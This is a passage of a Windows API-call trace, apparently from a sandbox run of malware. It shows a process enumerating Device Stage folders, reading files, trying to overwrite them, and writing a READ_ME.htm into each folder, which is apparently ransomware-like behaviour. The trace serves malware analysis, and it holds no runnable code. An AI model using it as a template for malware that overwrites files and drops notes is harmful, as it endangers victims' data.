ftLastWriteTime.dwLowDateTime=0x9c0d5455, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x70c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="watermark.png", cAlternateFileName="")) returned 0 [0140.962] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0140.962] SetErrorMode (uMode=0x0) returned 0x1 [0140.962] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\background.png", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\background.png", lpFilePart=0x0) returned 0x66 [0140.962] SetErrorMode (uMode=0x1) returned 0x0 [0140.962] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\background.png" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\background.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0140.962] GetFileType (hFile=0x1d0) returned 0x1 [0140.962] SetErrorMode (uMode=0x0) returned 0x1 [0140.963] GetFileType (hFile=0x1d0) returned 0x1 [0140.963] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d3b8 | out: lpFileSizeHigh=0x21d3b8*=0x0) returned 0x1fad1 [0140.963] ReadFile (in: hFile=0x1d0, lpBuffer=0x12b7eb10, nNumberOfBytesToRead=0x1fad1, lpNumberOfBytesRead=0x21d298, lpOverlapped=0x0 | out: lpBuffer=0x12b7eb10*, lpNumberOfBytesRead=0x21d298*=0x1fad1, lpOverlapped=0x0) returned 1 [0140.966] CloseHandle (hObject=0x1d0) returned 1 [0141.073] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\background.png", nBufferLength=0x105, lpBuffer=0x21cd60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\background.png", lpFilePart=0x0) returned 0x66 [0141.073] SetErrorMode (uMode=0x1) returned 0x0 [0141.074] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\background.png" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\background.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0141.087] SetErrorMode (uMode=0x0) returned 0x1 [0141.091] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\behavior.xml", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\behavior.xml", lpFilePart=0x0) returned 0x64 [0141.091] SetErrorMode (uMode=0x1) returned 0x0 [0141.091] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\behavior.xml" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\behavior.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0141.092] GetFileType (hFile=0x1d0) returned 0x1 [0141.092] SetErrorMode (uMode=0x0) returned 0x1 [0141.092] GetFileType (hFile=0x1d0) returned 0x1 [0141.092] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d3b8 | out: lpFileSizeHigh=0x21d3b8*=0x0) returned 0x769 [0141.092] ReadFile (in: hFile=0x1d0, lpBuffer=0x28162b0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x21d298, lpOverlapped=0x0 | out: lpBuffer=0x28162b0*, lpNumberOfBytesRead=0x21d298*=0x769, lpOverlapped=0x0) returned 1 [0141.093] CloseHandle (hObject=0x1d0) returned 1 [0141.153] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\behavior.xml", nBufferLength=0x105, lpBuffer=0x21cd60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\behavior.xml", lpFilePart=0x0) returned 0x64 [0141.153] SetErrorMode (uMode=0x1) returned 0x0 [0141.154] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\behavior.xml" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\behavior.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0141.156] SetErrorMode (uMode=0x0) returned 0x1 [0141.159] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\watermark.png", nBufferLength=0x105, lpBuffer=0x21cd50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\watermark.png", lpFilePart=0x0) returned 0x65 [0141.159] SetErrorMode (uMode=0x1) returned 0x0 [0141.159] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\watermark.png" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\watermark.png"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0141.159] GetFileType (hFile=0x1d0) returned 0x1 [0141.159] SetErrorMode (uMode=0x0) returned 0x1 [0141.159] GetFileType (hFile=0x1d0) returned 0x1 [0141.159] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d3b8 | out: lpFileSizeHigh=0x21d3b8*=0x0) returned 0x70c1 [0141.160] ReadFile (in: hFile=0x1d0, lpBuffer=0x28faa70, nNumberOfBytesToRead=0x70c1, lpNumberOfBytesRead=0x21d298, lpOverlapped=0x0 | out: lpBuffer=0x28faa70*, lpNumberOfBytesRead=0x21d298*=0x70c1, lpOverlapped=0x0) returned 1 [0141.161] CloseHandle (hObject=0x1d0) returned 1 [0141.286] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\watermark.png", nBufferLength=0x105, lpBuffer=0x21cd60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\watermark.png", lpFilePart=0x0) returned 0x65 [0141.286] SetErrorMode (uMode=0x1) returned 0x0 [0141.286] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\watermark.png" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\watermark.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0141.319] SetErrorMode (uMode=0x0) returned 0x1 [0141.323] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cd70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\READ_ME.htm", lpFilePart=0x0) returned 0x63 [0141.323] SetErrorMode (uMode=0x1) returned 0x0 [0141.323] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\READ_ME.htm" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0141.325] GetFileType (hFile=0x1d0) returned 0x1 [0141.325] SetErrorMode (uMode=0x0) returned 0x1 [0141.325] GetFileType (hFile=0x1d0) returned 0x1 [0141.325] WriteFile (in: hFile=0x1d0, lpBuffer=0x2a09068*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d2d8, lpOverlapped=0x0 | out: lpBuffer=0x2a09068*, lpNumberOfBytesWritten=0x21d2d8*=0x720, lpOverlapped=0x0) returned 1 [0141.326] CloseHandle (hObject=0x1d0) returned 1 [0141.327] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ce30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\READ_ME.htm", lpFilePart=0x0) returned 0x3c [0141.327] SetErrorMode (uMode=0x1) returned 0x0 [0141.327] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\READ_ME.htm" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0141.328] GetFileType (hFile=0x1d0) returned 0x1 [0141.328] SetErrorMode (uMode=0x0) returned 0x1 [0141.328] GetFileType (hFile=0x1d0) returned 0x1 [0141.329] WriteFile (in: hFile=0x1d0, lpBuffer=0x2a0d628*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d398, lpOverlapped=0x0 | out: lpBuffer=0x2a0d628*, lpNumberOfBytesWritten=0x21d398*=0x720, lpOverlapped=0x0) returned 1 [0141.330] CloseHandle (hObject=0x1d0) returned 1 [0141.330] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task", lpFilePart=0x0) returned 0x2e [0141.330] SetErrorMode (uMode=0x1) returned 0x0 [0141.331] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\*" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4f8e6c00, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4f8e6c00, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0141.331] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4f8e6c00, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4f8e6c00, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0141.331] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4f8e6c00, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4f8e6c00, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4f8e6c00, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0141.331] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4f6d18c0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4f6d18c0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}", cAlternateFileName="{07DEB~1")) returned 1 [0141.332] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4f8c0aa0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4f8c0aa0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{e35be42d-f742-4d96-a50a-1775fb1a7a42}", cAlternateFileName="{E35BE~1")) returned 1 [0141.332] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4f8c0aa0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4f8c0aa0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{e35be42d-f742-4d96-a50a-1775fb1a7a42}", cAlternateFileName="{E35BE~1")) returned 0 [0141.332] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0141.332] SetErrorMode (uMode=0x0) returned 0x1 [0141.332] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task", lpFilePart=0x0) returned 0x2e [0141.332] SetErrorMode (uMode=0x1) returned 0x0 [0141.333] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\*" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4f8e6c00, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4f8e6c00, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0141.333] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4f8e6c00, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4f8e6c00, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0141.333] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4f8e6c00, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4f8e6c00, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4f8e6c00, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0141.333] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4f6d18c0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4f6d18c0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}", cAlternateFileName="{07DEB~1")) returned 1 [0141.333] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4f8c0aa0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4f8c0aa0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{e35be42d-f742-4d96-a50a-1775fb1a7a42}", cAlternateFileName="{E35BE~1")) returned 1 [0141.334] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4f8c0aa0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4f8c0aa0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{e35be42d-f742-4d96-a50a-1775fb1a7a42}", cAlternateFileName="{E35BE~1")) returned 0 [0141.334] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0141.334] SetErrorMode (uMode=0x0) returned 0x1 [0141.334] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}", lpFilePart=0x0) returned 0x55 [0141.334] SetErrorMode (uMode=0x1) returned 0x0 [0141.335] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\*" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\*"), lpFindFileData=0x21d070 | out: lpFindFileData=0x21d070*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4f6d18c0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4f6d18c0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0141.335] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x4f6d18c0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4f6d18c0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0141.335] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x4f6d18c0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4f6d18c0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0141.335] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2c7f9e6, ftCreationTime.dwHighDateTime=0x1ca0407, ftLastAccessTime.dwLowDateTime=0xd2c7f9e6, ftLastAccessTime.dwHighDateTime=0x1ca0407, ftLastWriteTime.dwLowDateTime=0x7c0e93d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xd0a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="folder.ico", cAlternateFileName="")) returned 1 [0141.335] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2db04ce, ftCreationTime.dwHighDateTime=0x1ca0407, ftLastAccessTime.dwLowDateTime=0xd2db04ce, ftLastAccessTime.dwHighDateTime=0x1ca0407, ftLastWriteTime.dwLowDateTime=0x7c0e93d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x72ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="netfol.ico", cAlternateFileName="")) returned 1 [0141.336] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2ca5b43, ftCreationTime.dwHighDateTime=0x1ca0407, ftLastAccessTime.dwLowDateTime=0xd2ca5b43, ftLastAccessTime.dwHighDateTime=0x1ca0407, ftLastWriteTime.dwLowDateTime=0x7c10f535, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x14668, dwReserved0=0x0, dwReserved1=0x0, cFileName="pictures.ico", cAlternateFileName="")) returned 1 [0141.336] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f6d18c0, ftCreationTime.dwHighDateTime=0x1d8ceb2, ftLastAccessTime.dwLowDateTime=0x4f6d18c0, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x4f6d18c0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x720, dwReserved0=0x0, dwReserved1=0x0, cFileName="READ_ME.htm", cAlternateFileName="")) returned 1 [0141.336] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2c59889, ftCreationTime.dwHighDateTime=0x1ca0407, ftLastAccessTime.dwLowDateTime=0xd2c59889, ftLastAccessTime.dwHighDateTime=0x1ca0407, ftLastWriteTime.dwLowDateTime=0x7c1cdc0b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x536, dwReserved0=0x0, dwReserved1=0x0, cFileName="resource.xml", cAlternateFileName="")) returned 1 [0141.336] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2cf1dfd, ftCreationTime.dwHighDateTime=0x1ca0407, ftLastAccessTime.dwLowDateTime=0xd2cf1dfd, ftLastAccessTime.dwHighDateTime=0x1ca0407, ftLastWriteTime.dwLowDateTime=0x7c1f3d69, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xcaa9, dwReserved0=0x0, dwReserved1=0x0, cFileName="ringtones.ico", cAlternateFileName="")) returned 1 [0141.336] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2d17f5a, ftCreationTime.dwHighDateTime=0x1ca0407, ftLastAccessTime.dwLowDateTime=0xd2d17f5a, ftLastAccessTime.dwHighDateTime=0x1ca0407, ftLastWriteTime.dwLowDateTime=0x7c1f3d69, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x10850, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.ico", cAlternateFileName="")) returned 1 [0141.336] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2d3e0b7, ftCreationTime.dwHighDateTime=0x1ca0407, ftLastAccessTime.dwLowDateTime=0xd2d3e0b7, ftLastAccessTime.dwHighDateTime=0x1ca0407, ftLastWriteTime.dwLowDateTime=0x7c219ec7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xc04b, dwReserved0=0x0, dwReserved1=0x0, cFileName="sync.ico", cAlternateFileName="")) returned 1 [0141.337] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c219ec7, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0x7c219ec7, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0x7c219ec7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x3473, dwReserved0=0x0, dwReserved1=0x0, cFileName="tasks.xml", cAlternateFileName="")) returned 1 [0141.337] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2d64214, ftCreationTime.dwHighDateTime=0x1ca0407, ftLastAccessTime.dwLowDateTime=0xd2d64214, ftLastAccessTime.dwHighDateTime=0x1ca0407, ftLastWriteTime.dwLowDateTime=0x7c219ec7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1b9f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmp.ico", cAlternateFileName="")) returned 1 [0141.337] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x20, 